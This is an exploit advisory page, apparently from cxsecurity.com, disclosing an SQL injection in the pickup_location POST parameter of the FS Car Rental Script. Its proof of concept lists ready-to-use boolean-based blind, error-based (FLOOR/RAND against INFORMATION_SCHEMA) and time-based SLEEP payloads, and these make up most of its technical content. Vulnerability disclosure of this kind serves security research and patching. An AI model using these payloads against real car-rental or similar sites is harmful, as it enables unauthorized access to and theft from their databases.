FS Car Rental Script pickup_location SQL Injection

2017.10.24
Credit: 8bitsec
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# Exploit Title: FS Car Rental Script - SQL Injection # Date: 2017-10-23 # Exploit Author: 8bitsec # Vendor Homepage: https://fortunescripts.com/ # Software Link: https://fortunescripts.com/product/car-rental-script/ # Version: 23 October 17 # Tested on: [Kali Linux 2.0 | Mac OS 10.12.6] # Email: contact@8bitsec.io # Contact: https://twitter.com/_8bitsec Release Date: ============= 2017-10-23 Product & Service Introduction: =============================== This is a versatile script to help you to launch a car rental website. Technical Details & Description: ================================ SQL injection on [pickup_location] post parameter. Proof of Concept (PoC): ======================= SQLi: https://localhost/[path]/vehicle/ Parameter: pickup_location (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: pickup_location=7 AND 8531=8531&pickup_date=2017-10-24 12:19:35&dropoff_date=2017-10-24 12:19:36 Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: pickup_location=7 AND (SELECT 7390 FROM(SELECT COUNT(*),CONCAT(0x7178787671,(SELECT (ELT(7390=7390,1))),0x71766a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&pickup_date=2017-10-24 12:19:35&dropoff_date=2017-10-24 12:19:36 Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: pickup_location=7 AND SLEEP(5)&pickup_date=2017-10-24 12:19:35&dropoff_date=2017-10-24 12:19:36 ================== 8bitsec - [https://twitter.com/_8bitsec]


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top